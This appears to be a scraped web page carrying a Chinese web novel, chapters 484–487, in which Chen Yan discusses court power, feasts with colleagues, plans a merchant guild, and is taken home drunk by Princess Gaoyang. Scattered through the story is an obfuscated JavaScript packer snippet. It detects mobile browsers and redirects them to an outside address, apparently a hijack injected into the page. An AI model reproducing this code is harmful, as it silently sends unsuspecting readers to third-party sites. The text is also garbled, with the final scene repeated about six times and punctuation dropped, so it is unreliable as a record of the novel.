“陛下不正好有再度清理一批尸位素餐之人的意思吗?” 说实话杜构这个提议在平时看起来是没有任何问题的但陈衍思忖过后缓缓摇头拒绝了。 “不可咱们的势已经足够大了李义府他们虽说暂时留在渭南县但终归会去到长安他们本就算我们的班底如果还要打造一批你我以及背后的人加起来话语权实在太大这样不行。” “你考虑问题太片面了不够深入目光也没有放长远强势不错却不能太强势。” 陈衍一点拨杜构立刻清醒了。 是啊他跟房遗直身为房谋杜断之子在王珪即将下位长孙无忌开摆的局势下本就是文官的代表人物。 而陈衍背后又有一众武将支持。 连一个顺带的马周若回到长安很有可能成为这一代寒门子弟的代表人物。 从当前来说他们的势力确实太庞大了。 更别说如果上一代退去 小说全网首发无弹窗免费阅读caixs←(请来才 小说 看最新章节 完整章节)而他们这一代一个个冒头李义府他们也去到长安程处默等人逐渐成熟未来他们的势力还会更庞大。 李世民可能不在乎这一点因为他有那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865318|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自信压得住。 但保不齐会在晚年的时候做些什么为太子铺路啊。 陈衍 自己绝对是没任何问题的但他们这些人可就不一定了。 杜构眸光闪烁重重点头“陈兄受教了。” 陈衍看了他一眼“未来的情况暂且先不管因为局势会一直变谁也不清楚未来会怎么样到时候随机应变即可。” “就目前来说我们回长安之后该争什么不该争什么一定要搞清楚。咱们的话语权已经足够大所以这方面可以放一放站稳脚跟才是当务之急。” “还有朝堂不是打打杀杀朝堂是人情世故!” “就算咱们有背景但该表示的依旧要有表示!” “回头你写封信给你爹探探口风询问一下哪些人值得我们亲近哪些人需要疏远。” “再一个我们离开长安说久不久可也有一两年了关于目前朝堂的情况必须要了解清楚特别是秘书省和户部” 陈衍说了很多杜构一一记了下来。 跟陈衍相处这么久杜构对于他早就服气了。 平时大家可以跟兄弟朋友一样相处 杜构对自己很有自知之明清楚目前的他远比不上自家父亲也比不过被父亲称为‘近乎于妖’的陈衍。 没错就是‘近乎于妖’。 在许多人眼里陈衍真的很妖。 这几乎成为了大家心照不宣的共识。 不多时两人来到杜构家前。 一进去立马便有一名长相秀美看起来温婉大气的女子迎上来。 “妾身拜见渭国公夫君已在堂前设座国公请上座。” “嫂子不必多礼以我跟杜兄的关系大可不必如此客气。”陈衍摆摆手侧头问:“对了房兄他们到了吧?” 杜构目光移动到妻子身上后者会意轻声道:“房兄和李公子他们刚到正在正堂闲坐。” “他们也挺快。”杜构笑笑“陈兄既然如此那咱们赶紧过去吧别让大家等久了。” “好走!” “.” 第484章 春风得意马蹄疾 人到齐了,那自然就是开饭了。 众人纷纷落座,杜构的夫人安排丫鬟与下人端来佳肴和美酒。 让陈衍颇为意外的是,除了马周、李义府等人,许怜月同样被叫了过来。 但一想杜构似乎叫的全部是县衙的同僚,也不再多想。 “大人,我先敬您一杯,如果不是您的话,此刻我说不定还在长安那个角落郁郁不得志。”李义府收敛了往日总是挂着的笑容,郑重地举起酒杯,一饮而尽。 陈衍扯了扯嘴角,其实很想说大可不必。 然而李义府已经喝了下去,加上气氛都到这里了,他不好不喝,只能跟着举起酒杯喝了下去。 好消息是,杜构准备的是那种很小的酒杯,差不多一口的量。 坏消息是,杜构特么整的高度酒! “大人,我.”张文瓘想效仿,却被陈衍伸手制止,他干咳一声,“其实你们不用这样,你们各自的能力都很强,哪怕没有我,相信今后你们同样会出人头地,我只不过给了你们一个展现能力的机会罢了。” “更何况,我这才刚喝了一杯,怎么的也得让我吃上两口菜吧。”陈衍玩笑道。 众人一听,顿时笑了起来。 杜构笑眯眯道:“你们还不知道吧,大人在长安圈子里,可是有着一个响当当的名号,你们想灌他酒水,怕是很难啊。” 陈衍眨眨眼,他怎么不知道自己还有个什么名号? 难道是他肾虚公子的外号传了出去? 恰好,房遗直一改往日的正经,好奇地问:“杜兄,我怎么不知道陈兄在长安还有什么响当当的名号啊?能否与我等说上一说?” “你没跟陈兄喝过几次酒,你当然不知道了。”杜构憋着乐,“根据处默兄他们所说,陈兄有一名号,叫做‘一杯不醉陈大少!’” 大家面面相觑,不懂这名号到底什么意思。 他们只听过千杯不醉,还从未听过什么一杯不醉。 李义府:“杜大人,不知这一杯不醉,是什么意思?” 陈衍顿时预感到不妙想要阻止杜构继续说下去 “你们有所不知一杯不醉的意思就是陈兄不管到哪只喝一杯因为剩下的酒他永远有办法逃掉所以只喝一杯。” “那一杯怎么醉嘛?” “可不就是一杯不醉?” 陈衍:“.” 随着杜构的话音落下众人的神色纷纷变得微妙起来一杯不醉.原来是这么个一杯不醉啊? 那还真是长见识了。 只有许怜月似乎对此早有预料没有露出意外的表情。 只是从她稍稍弯起的嘴角足以看出来她在憋着笑。 陈衍感受到了社死的气息上次有这种感觉的时候还是当着杜构他们的面打开被高阳动过手脚的折扇! “.胡说八道!”陈衍梗着脖子道:“污蔑他们纯纯是污蔑!程处默那厮在诽谤我!” “众所周知我陈衍喝酒一向是最爽快的从来没有逃酒一说!” “我大唐男儿刀抹了脖子流出来的都是酒我怎么可能逃酒?” “是吗?”杜构意味深长地环顾一圈“那是我听错了?误会了陈兄?” “绝对是我等误会了陈兄啊!”房遗直神色凝重端起酒杯“为表歉意陈兄来干了这杯!” “我先干为敬!” 说着房遗直毫不犹豫就干了然后直勾勾盯着陈衍。 坏了!上当了! 陈衍立即意识到了不对面对大家似笑非笑的目光强撑着说:“房兄爽快我亦不能落了下乘!” 他端起刚被杜构倒满的酒杯抿了抿嘴一口干了! “哈哈哈哈哈哈哈果然是我等误会了陈兄啊!”杜构那叫一个高兴! 想当初陈衍连成婚的时候都在想办法逃酒他们一群人摩拳擦掌了个寂寞今天必须放倒他! “来吃吃吃吃完再继续喝!” 杜构赶紧招呼大家吃菜。 众人也明白了杜构的意思,一副跃跃欲试的模样。 只有陈衍心中一片苦涩。 没想到,他竟然还有被架起来的一天。 但看着这些在渭南县奋斗了许久的同僚,一直任劳任怨地听自己安排做事,陈衍微微叹了口气,重新露出笑容。 他从前之所以逃酒,是因为自己心里秘密太多,同样怕自己喝多了说错话,所以不想喝醉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865319|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但今天气氛都到这里了,那索性就大醉一场,放肆一回吧! “诸位!” “相信大家多多少少听说了,再过几个月,我跟杜构他们将要离去,从今往后,渭南县就需要大家多操操心了!” 陈衍爽快地举起酒杯,“我相信你们很明白在渭南县好好干,今后的前途差不了,我们先行一步,在长安等着诸位!” “等着诸位春风得意马蹄疾,一日看尽长安花!” 此言一出,李义府、戴至德、张文瓘浑身一震,只觉得热血沸腾! “好一个春风得意马蹄疾,一日看尽长安花!”戴至德心中那股少年气涌上心头,想象中自己如诗中那般意气风发。 “陈大人此言,当浮一大白!” 陈衍含笑举杯,众人也随之跟随。 酒杯相碰,清亮的声响里映着灯火与笑意。 许怜月默默无言地望着那中心的少年,眼里有点红润,又带着些压抑,不知道在想着些什么。 “对了,陈大人,马大人也要跟你们一同前往长安吗?”推杯换盏间,李义府突然问了一句。 杜构和房遗直跟陈衍离开,他们并不意外,因为他们两人背景相当不凡,离开是必然的。 马周倒是有些不确定。 而随着李义府的问题落下,马周似有些紧张,又有些期待地望着陈衍,生怕自己听到什么不好的消息。 “马周啊”陈衍注意到了马周的神色,故意拉长声音,调足了后者情绪,最终才说: “马周当然要跟我们离去了,他可是陛下看重的人,来渭南县之前曾跟陛下促膝长谈!” “确实要跟我们一同离开的。” 马周整个人怔住了。 明明听到了期盼中的答案,却没有想象中那般狂喜,反而有一股酸涩从心底涌上来,几乎逼出眼泪。 这个在长安辗转多年、受尽冷眼与嘲笑的人,此刻只觉得喉头哽得发疼,一个字也说不出来。 马周仰了仰头,用手掌仓促地捂住眼睛,肩头几不可察地颤了一下,随即又像是惊醒般,慌忙端起面前的酒杯: “谢谢谢陈大人!” “我,我敬您一杯!” “.” 第485章 转移 可以看得出来,马周已经有些哽咽,近乎要落泪了。 不过在场的人却无一人嘲笑他,也不能去嘲笑他。 尽管类似杜构、房遗直,乃至陈衍这三人从出生开始,就注定了他们不用担心前程,但也清楚一个寒门子弟想要出头到底有多难。 如果说在场唯一能共情马周的,可能只有李义府一人。 他此前出身寒门,在没被陈衍找过来之前,几乎到了连生存都困难的地步,李义府太明白他们这些人的难处了。 连张文瓘都比他好很多,起码有一份谋生的差事。 “你要谢的不是我,我没有帮你什么,你能有今天,大多依靠的是你自己的能力与机遇。” 陈衍轻声道:“我认为,你唯一要谢的,只有你自己!” “感谢那个夜以继日不曾松懈,不曾放弃,不曾失去心气的你吧。” 马周嘴唇微动,似乎想说些什么,但却并未开口,只是轻轻点了点头。 跟陈衍相处这么久,他早就明白,陈衍对这些形式上的东西并不在意。 陈衍自己说没有帮他什么,那是自谦,马周心里很清楚,若没有陈衍一次次暗自帮忙,他绝对不会多次入长安那些大人物的眼,甚至他的消息还能多次出现在李世民的案前。 若非如此,这次离开的人,恐怕只有杜构他们三人,绝没有他。 或许下一次会轮到,但在官场上,哪怕仅仅晚一个月,可能便会失去不少机会。 马周只是将对陈衍的感觉默默记在心里,以后日子还长,说不定能有报答的一天。 对于他这样的人来说,低谷时的任何一点恩情都值得铭记于心。 “陈大人,所以,你们大概什么时候离开?” 戴至德出声询问,“县衙一下子离开你们四位不是小事,许多公务我们怕是得提前交接好,免得出现问题。” “还不太确定。”陈衍有点无奈,李世民从未跟他透露过具体什么时候离开,只说今年之前。 不过他觉得,李世民大概率不会等到年 底,他通过一些事,也最多能给出一个大概的猜测范围罢了。 “估计是三个月左右吧,九月、或者十月份。” “时间还很充足,不用着急!” 众人表示明白。 陈衍继续道:“接下来,杜兄、房兄,还有老马你们三人陆陆续续将手中的公务交接好吧。” “等过两天,我会写信给陛下,让他派几个人过来,以免我们走后人手不足。” “这件事就到此为止,还有几个月时间,现在说太多没有意义。” “目前最重要的,是对于渭南县买卖上的事!” 听陈衍提起这个,大家的目光纷纷放在了一直没怎么开口的许怜月身上。 自从许怜月到来,在商道上展现出非同一般的能力,陈衍便把这方面的事全权交给了她。 许怜月沉吟道:“是因为大人你们要离开,所以有关渭南县的生意需要做出变动了吗?” “不错!”陈衍微微颔首,不急不缓道:“就目前来说,不管是白蜡、白糖、绢帛等等生意,名义上大部分给了县衙,实则这部分钱会通过太子,最后流入陛下口袋中。” “真正属于渭南县的生意很少,除了一个即将打造完成的商业街,就只有一个公交船。” “这一点,相信你们应该都清楚。” 大家纷纷点头,表示明白。 这一点县衙很多人都不清楚,但他们肯定是知晓的。 “嗯怎么跟你们说呢,绢帛等买卖是怎么来的,你们也清楚得很,陛下之所以把县衙推出来充当明面人,就是因为我在这里。” “倘若我要离开,很多东西就需要分割开了,毕竟长安才是我们未来主要的发展地。” 陈衍话说到此处,众人有些急了,杜构不解道:“陈兄,你的意思是我们要慢慢把这些生意转移到长安吗?” “如果是这样的话,那渭南县怎么办?我们好不容易才把渭南县发展成这样,一旦撤离,不说期间产生的损失,单说这样做的话,才过几天好日子的渭南县百姓恐怕很难接受啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865320|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “而且,转移势必对渭南县的发展造成无法想象的重创,我们很多规划就白做了。 其余几人纷纷点头,显然跟杜构差不多的意思。 “呵呵.你们误会了。陈衍笑着摆摆手,“我没说要把生意全部转移到长安去。 “渭南县发展到今天,不光是你们的心血,同样是我的,我希望它有一天能更繁华,怎么会把它发展的根基转移走呢? “原来如此。杜构恍然,讪讪道:“那是我误会陈兄了,抱歉。 李义府直言道:“大人,那您到底有何安排? “很简单!陈衍没有卖关子,“我打算把生意分割开,渭南县作为一个工业化县城,大概就是说,如今渭南县只负责生产,已有的工坊什么都不会去动,甚至未来还会继续增加。 “出货之类的事,依旧放在这里,毕竟这里有着天然的地理优势。 “但从今往后,除了商业街,公交船这类生意,其他像是绢帛的生意,全部不归属县衙。 “我回到长安之后,会成立一家商会,白糖、白蜡的生意全部归到商会下面,而工坊同样归商会总管。 “至于钱庄.陈衍摸着下巴,“钱庄比较特别,不能归属商会,只能作为一个独立的个体。 张文瓘思索道:“大人的意思是,所谓的分割实则只有名义上的分割,工坊、以及目前的店铺之类是全部留下的,只是以后不归县衙了,而是归大人未来要成立的商会? 陈衍点点头,表示就是这样。 “那如此一来,其实不用变太多啊。李义府微微笑着:“只是名义上的分割,并不会对渭南县产生太大的影响,该是怎样就是怎样。 “只是说这些生意上的发展重心会放到长安城,渭南县作为一个.工业化县城? “对,没错,我就是这个意思!陈衍欣然道:“这是我从一开始就决定好的,渭南县因为渭河的存在,以及天然的地理位置,天然就适合作为工业化县城。 “再一个,这同样是最快将县城发展起来的办法! “. 第486章 高阳到来 “最快将县城发展起来的方法吗?” 大家默默思考着陈衍的话,回想起他来到渭南县的所作所为,以及带来的改变。 最后发现,陈衍说得对。 渭南县本就有条渭河,通过走水路运送货物相当方便,即便送货到不远的地方,走陆地也有不小的优势。 再一个,选择把这里发展成工业化的县城,陈衍可以跟百姓形成一种互利互惠的关系。 陈衍通过做买卖的方式,赚取了海量钱财,百姓通过给陈衍做工,同样改变了以往贫困的生活,形成良性循环。 在这其中,只要陈衍给的工钱足够高,不拖欠工钱,那就不会出现问题。 因为他做的生意不会缺少买家。 “那我需要做些什么?”许怜月犹豫了一下,低声问了句。 既然陈衍要回长安成立商会,渭南县的生意即将跟县衙分割开,她留在这里好像就没有任何意义了。 公交船本就不需要太多关注,商业街也差不多完善,目前已经走上正轨,同样无需太过关注,后续等着收钱就好。 她没事干了啊。 “你的话”陈衍沉吟道:“如果你愿意,那就跟我回长安吧。商会虽然是放在我名下,但我今后需要进入朝廷,无法分心管理,你倘若愿意跟我回长安的话,那今后的商会就交由你和小顺子来管!” “小顺子对内,你对外!” 许怜月一怔,眼睛微微睁大,实在没想到陈衍竟然说让她跟着回长安。 原本她都以为自己没什么机会再跟上陈衍,打算今天拼一拼,留个念想,或者回头找高阳公主帮忙了。 没想到陈衍居然自己提了出来。 许怜月想跟着回长安吗? 答案自然无需多想! “怎么?你想留在渭南县吗?”陈衍见她迟迟不答应,皱了皱眉,脑子里下意识开始思考若许怜月不愿意回长安,那么该找谁来管商会比较好。 毕竟他知道长安对许怜月来说可能不是什么好地方,存在许多不好的回忆 ,特别是她的街坊邻居都视她为灾星。 如果她不愿意,陈衍不愿意勉强,若暂时找不到合适的人,那么苦一苦小顺子也行。 “没!许怜月回过神,急忙道:“我愿意回长安,只是你把这么重要的事交给我,真的放心吗? “毕竟.我只是一个女子。 “女子怎么了?陈衍放心下来,开玩笑道:“谁说女子就不如男了?你在这方面真的很有天赋,商会交给你来管理我放心。 “再者.陈衍环视一圈,“你的能力如何,相信在座各位都有体会,你若没有信心,可以让他们给你一些。 此言一出,杜构他们都笑了出来。 房遗直劝道:“许姑娘,陈兄所言在理,你没来渭南县之前,生意方面的事都是由杜兄和小顺子掌管的,小顺子做得确实不错,但他在长安那边还有事要忙,至于杜兄嘛.处理事务一言难尽,跟你比起来简直有天壤之别。 杜构眼角抽搐,张了张嘴,想给自己辩解两句,但一想到从前自己手忙脚乱的事,在许怜月手中就变得简单了起来,最终还是没说什么。 马周同样不说话了,因为从前他同样负责一部分打造商业街,但结果不尽人意。 而换许怜月之后,不过区区半月就做到了他从前觉得棘手,迟迟无法拿下的地和商铺。 李义府:“许姑娘,商人只谈利益,可不管你是男是女,你应该自信点。 说完,他顿了顿,开玩笑道:“更何况,我觉得陈大人说得对,谁说女子不如男了? “世间很多事男子可以做,女子也行,反倒是女子能做的事,男子却不一定能做. 话至此处,他忽然停了下来,陈衍乐呵呵地问:“比如呢? “比如.李义府语塞,见大家都揶揄地看着自己,还有许怜月隐隐挂着笑意的嘴角,尴尬道:“比如生孩子嘛。 “你们能做到吗? “不行吧? 众人闻言,纷纷哈哈大笑了起来。 只有许怜月,眸光隐隐闪烁, 随后跟着低笑了几声。 “好啦!”陈衍大手一挥,“正事就到这里了,接下来喝个高兴!” “既然陈兄有此雅兴,那我等自当奉陪啊。”杜构端起酒杯,“来来来,喝!” “好!喝!” 此时已然夜色笼罩,屋内众人推杯换盏,灯火摇曳,说说笑笑间,一壶又一壶美酒被清空。 大唐的男人都好酒,心情高兴了,喝起来更是停不下来。 直到半夜,杜构的妻子赵氏听里面的吵闹声渐渐小了下来,上前敲了敲门,然后推开,想看看里面什么情况。 只是,她一打开门,便看到里面几乎已经算得上一片狼藉,几个大男人已经醉得找不着北,有的躺在地上呼呼大睡,有的还在说着梦话,她的丈夫杜构也已经呈现大字形躺在了地上。 许怜月同样喝了几杯,此刻眼神有些迷离地坐着,似乎要睡过去。 赵氏见此情景心里暗叹一声,见许怜月晃着脑袋要睡着,过去轻声道:“许姑娘,我为你们准备了房间,你若困了,我先安排人送你回去休息吧。” “.啊?”许怜月惊醒了,下意识看了眼趴在桌子上睡着的陈衍,呆愣愣地点点头。 赵氏没多想,以为许怜月是喝多了,赶紧叫人进来搬人的搬人,收拾的收拾。 “夫人,高阳公主殿下找过来!” 突然,一名下人急忙进来禀报。 赵氏愣了愣,还没来得及说话,就见高阳公主带着两个侍女走过来。 “公主殿下.” “不用多说,陈衍本宫带走了,今天麻烦你了。” 赵氏话说到一半,便被高阳打断,“香岚,青儿,带夫君回去。” 在外面,高阳还是很给陈衍面子的。 “是,公主殿下。” 香岚和青儿不敢耽误,连忙去搀扶陈衍。 小说全网首发无弹窗免费阅读caixs**(请来才 小说 看最新章节 完整章节) 高阳看了眼许怜月,淡淡道:“今天你做得不错,以后有消息随时传给我。” “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 随后跟着低笑了几声。 “好啦!”陈衍大手一挥,“正事就到这里了,接下来喝个高兴!” “既然陈兄有此雅兴,那我等自当奉陪啊。”杜构端起酒杯,“来来来,喝!” “好!喝!” 此时已然夜色笼罩,屋内众人推杯换盏,灯火摇曳,说说笑笑间,一壶又一壶美酒被清空。 大唐的男人都好酒,心情高兴了,喝起来更是停不下来。 直到半夜,杜构的妻子赵氏听里面的吵闹声渐渐小了下来,上前敲了敲门,然后推开,想看看里面什么情况。 只是,她一打开门,便看到里面几乎已经算得上一片狼藉,几个大男人已经醉得找不着北,有的躺在地上呼呼大睡,有的还在说着梦话,她的丈夫杜构也已经呈现大字形躺在了地上。 许怜月同样喝了几杯,此刻眼神有些迷离地坐着,似乎要睡过去。 赵氏见此情景心里暗叹一声,见许怜月晃着脑袋要睡着,过去轻声道:“许姑娘,我为你们准备了房间,你若困了,我先安排人送你回去休息吧。” “.啊?”许怜月惊醒了,下意识看了眼趴在桌子上睡着的陈衍,呆愣愣地点点头。 赵氏没多想,以为许怜月是喝多了,赶紧叫人进来搬人的搬人,收拾的收拾。 “夫人,高阳公主殿下找过来!” 突然,一名下人急忙进来禀报。 赵氏愣了愣,还没来得及说话,就见高阳公主带着两个侍女走过来。 “公主殿下.” “不用多说,陈衍本宫带走了,今天麻烦你了。” 赵氏话说到一半,便被高阳打断,“香岚,青儿,带夫君回去。” 在外面,高阳还是很给陈衍面子的。 “是,公主殿下。” 香岚和青儿不敢耽误,连忙去搀扶陈衍。 高阳看了眼许怜月,淡淡道:“今天你做得不错,以后有消息随时传给我。” “.” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 随后跟着低笑了几声。 “好啦!陈衍大手一挥,“正事就到这里了,接下来喝个高兴! “既然陈兄有此雅兴,那我等自当奉陪啊。杜构端起酒杯,“来来来,喝! “好!喝! 此时已然夜色笼罩,屋内众人推杯换盏,灯火摇曳,说说笑笑间,一壶又一壶美酒被清空。 大唐的男人都好酒,心情高兴了,喝起来更是停不下来。 直到半夜,杜构的妻子赵氏听里面的吵闹声渐渐小了下来,上前敲了敲门,然后推开,想看看里面什么情况。 只是,她一打开门,便看到里面几乎已经算得上一片狼藉,几个大男人已经醉得找不着北,有的躺在地上呼呼大睡,有的还在说着梦话,她的丈夫杜构也已经呈现大字形躺在了地上。 许怜月同样喝了几杯,此刻眼神有些迷离地坐着,似乎要睡过去。 赵氏见此情景心里暗叹一声,见许怜月晃着脑袋要睡着,过去轻声道:“许姑娘,我为你们准备了房间,你若困了,我先安排人送你回去休息吧。 “.啊?许怜月惊醒了,下意识看了眼趴在桌子上睡着的陈衍,呆愣愣地点点头。 赵氏没多想,以为许怜月是喝多了,赶紧叫人进来搬人的搬人,收拾的收拾。 “夫人,高阳公主殿下找过来! 突然,一名下人急忙进来禀报。 赵氏愣了愣,还没来得及说话,就见高阳公主带着两个侍女走过来。 “公主殿下. “不用多说,陈衍本宫带走了,今天麻烦你了。 赵氏话说到一半,便被高阳打断,“香岚,青儿,带夫君回去。 在外面,高阳还是很给陈衍面子的。 “是,公主殿下。 香岚和青儿不敢耽误,连忙去搀扶陈衍。 高阳看了眼许怜月,淡淡道:“今天你做得不错,以后有消息随时传给我。 “. 听说看这本书的人都是很幸运的,分享后你的运气会更棒 随后跟着低笑了几声。 “好啦!”陈衍大手一挥“正事就到这里了接下来喝个高兴!” “既然陈兄有此雅兴那我等自当奉陪啊。”杜构端起酒杯“来来来喝!” “好!喝!” 此时已然夜色笼罩屋内众人推杯换盏灯火摇曳说说笑笑间一壶又一壶美酒被清空。 大唐的男人都好酒心情高兴了喝起来更是停不下来。 直到半夜杜构的妻子赵氏听里面的吵闹声渐渐小了下来上前敲了敲门然后推开想看看里面什么情况。 只是她一打开门便看到里面几乎已经算得上一片狼藉几个大男人已经醉得找不着北有的躺在地上呼呼大睡有的还在说着梦话她的丈夫杜构也已经呈现大字形躺在了地上。 许怜月同样喝了几杯此刻眼神有些迷离地坐着似乎要睡过去。 赵氏见此情景心里暗叹一声见许怜月晃着脑袋要睡着过去轻声道:“许姑娘我为你们准备了房间你若困了我先安排人送你回去休息吧。” “.啊?”许怜月惊醒了下意识看了眼趴在桌子上睡着的陈衍呆愣愣地点点头。 赵氏没多想以为许怜月是喝多了 “夫人高阳公主殿下找过来!” 突然一名下人急忙进来禀报。 赵氏愣了愣还没来得及说话就见高阳公主带着两个侍女走过来。 “公主殿下.” “不用多说陈衍本宫带走了今天麻烦你了。” 赵氏话说到一半便被高阳打断“香岚青儿带夫君回去。” 在外面高阳还是很给陈衍面子的。 “是公主殿下。” 香岚和青儿不敢耽误连忙去搀扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865321|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈衍。 高阳看了眼许怜月淡淡道:“今天你做得不错以后有消息随时传给我。” “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 随后跟着低笑了几声。 “好啦!”陈衍大手一挥“正事就到这里了接下来喝个高兴!” “既然陈兄有此雅兴那我等自当奉陪啊。”杜构端起酒杯“来来来喝!” “好!喝!” 此时已然夜色笼罩屋内众人推杯换盏灯火摇曳说说笑笑间一壶又一壶美酒被清空。 大唐的男人都好酒心情高兴了喝起来更是停不下来。 直到半夜杜构的妻子赵氏听里面的吵闹声渐渐小了下来上前敲了敲门 只是她一打开门便看到里面几乎已经算得上一片狼藉几个大男人已经醉得找不着北有的躺在地上呼呼大睡有的还在说着梦话她的丈夫杜构也已经呈现大字形躺在了地上。 许怜月同样喝了几杯此刻眼神有些迷离地坐着似乎要睡过去。 赵氏见此情景心里暗叹一声见许怜月晃着脑袋要睡着过去轻声道:“许姑娘我为你们准备了房间你若困了我先安排人送你回去休息吧。” “.啊?”许怜月惊醒了下意识看了眼趴在桌子上睡着的陈衍呆愣愣地点点头。 赵氏没多想以为许怜月是喝多了赶紧叫人进来搬人的搬人收拾的收拾。 “夫人高阳公主殿下找过来!” 突然一名下人急忙进来禀报。 赵氏愣了愣还没来得及说话就见高阳公主带着两个侍女走过来。 “公主殿下.” “不用多说陈衍本宫带走了今天麻烦你了。” 赵氏话说到一半便被高阳打断“香岚青儿带夫君回去。” 在外面高阳还是很给陈衍面子的。 “是公主殿下。” 香岚和青儿不敢耽误连忙去搀扶陈衍。 高阳看了眼许怜月淡淡道:“今天你做得不错以后有消息随时传给我。” “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 随后跟着低笑了几声。 “好啦!”陈衍大手一挥“正事就到这里了接下来喝个高兴!” “既然陈兄有此雅兴那我等自当奉陪啊。”杜构端起酒杯“来来来喝!” “好!喝!” 此时已然夜色笼罩屋内众人推杯换盏灯火摇曳说说笑笑间一壶又一壶美酒被清空。 大唐的男人都好酒心情高兴了喝起来更是停不下来。 直到半夜杜构的妻子赵氏听里面的吵闹声渐渐小了下来上前敲了敲门然后推开想看看里面什么情况。 只是她一打开门便看到里面几乎已经算得上一片狼藉几个大男人已经醉得找不着北有的躺在地上呼呼大睡有的还在说着梦话她的丈夫杜构也已经呈现大字形躺在了地上。 许怜月同样喝了几杯此刻眼神有些迷离地坐着似乎要睡过去。 赵氏见此情景心里暗叹一声见许怜月晃着脑袋要睡着过去轻声道:“许姑娘我为你们准备了房间你若困了我先安排人送你回去休息吧。” “.啊?”许怜月惊醒了下意识看了眼趴在桌子上睡着的陈衍呆愣愣地点点头。 赵氏没多想 “夫人高阳公主殿下找过来!” 突然一名下人急忙进来禀报。 赵氏愣了愣还没来得及说话就见高阳公主带着两个侍女走过来。 “公主殿下.” “不用多说陈衍本宫带走了今天麻烦你了。” 赵氏话说到一半便被高阳打断“香岚青儿带夫君回去。” 在外面高阳还是很给陈衍面子的。 “是公主殿下。” 香岚和青儿不敢耽误连忙去搀扶陈衍。 高阳看了眼许怜月淡淡道:“今天你做得不错以后有消息随时传给我。” “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 随后跟着低笑了几声。 “好啦!陈衍大手一挥,“正事就到这里了,接下来喝个高兴! “既然陈兄有此雅兴,那我等自当奉陪啊。杜构端起酒杯,“来来来,喝! “好!喝! 此时已然夜色笼罩,屋内众人推杯换盏,灯火摇曳,说说笑笑间,一壶又一壶美酒被清空。 大唐的男人都好酒,心情高兴了,喝起来更是停不下来。 直到半夜,杜构的妻子赵氏听里面的吵闹声渐渐小了下来,上前敲了敲门,然后推开,想看看里面什么情况。 只是,她一打开门,便看到里面几乎已经算得上一片狼藉,几个大男人已经醉得找不着北,有的躺在地上呼呼大睡,有的还在说着梦话,她的丈夫杜构也已经呈现大字形躺在了地上。 许怜月同样喝了几杯,此刻眼神有些迷离地坐着,似乎要睡过去。 赵氏见此情景心里暗叹一声,见许怜月晃着脑袋要睡着,过去轻声道:“许姑娘,我为你们准备了房间,你若困了,我先安排人送你回去休息吧。 “.啊?许怜月惊醒了,下意识看了眼趴在桌子上睡着的陈衍,呆愣愣地点点头。 赵氏没多想,以为许怜月是喝多了,赶紧叫人进来搬人的搬人,收拾的收拾。 “夫人,高阳公主殿下找过来! 突然,一名下人急忙进来禀报。 赵氏愣了愣,还没来得及说话,就见高阳公主带着两个侍女走过来。 “公主殿下. “不用多说,陈衍本宫带走了,今天麻烦你了。 赵氏话说到一半,便被高阳打断,“香岚,青儿,带夫君回去。 在外面,高阳还是很给陈衍面子的。 “是,公主殿下。 香岚和青儿不敢耽误,连忙去搀扶陈衍。 高阳看了眼许怜月,淡淡道:“今天你做得不错,以后有消息随时传给我。 “. 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第487章 新的重骑兵 “好的,公主殿下。” 许怜月恭恭敬敬地应下,高阳点了点头,没说什么,跟赵氏打了声招呼后,便让香岚和青儿搀扶着陈衍离开了。 她今天之所以来,正是因为许怜月半途派人去通知了她陈衍喝醉了。 